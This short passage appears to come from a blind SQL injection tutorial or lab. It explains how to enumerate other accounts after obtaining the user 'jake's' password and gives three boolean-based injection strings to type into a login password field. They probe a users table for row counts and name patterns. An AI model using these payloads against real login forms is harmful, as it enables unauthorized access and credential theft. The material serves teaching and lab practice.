You can find other users on the system. We choose to get jake's password simply because he was the first in the list but there may be others.
You can still only ask yes/no questions, but you can find out just about anything you want to with a little patience.
Again you use
xx for the user name and enter the following as password:
' OR (SELECT COUNT(*) FROM users)>10 AND ''='
' OR EXISTS(SELECT * FROM users WHERE name LIKE '%r%') AND ''='
' OR EXISTS(SELECT * FROM users WHERE name!='jake' AND name LIKE '%a%') AND ''='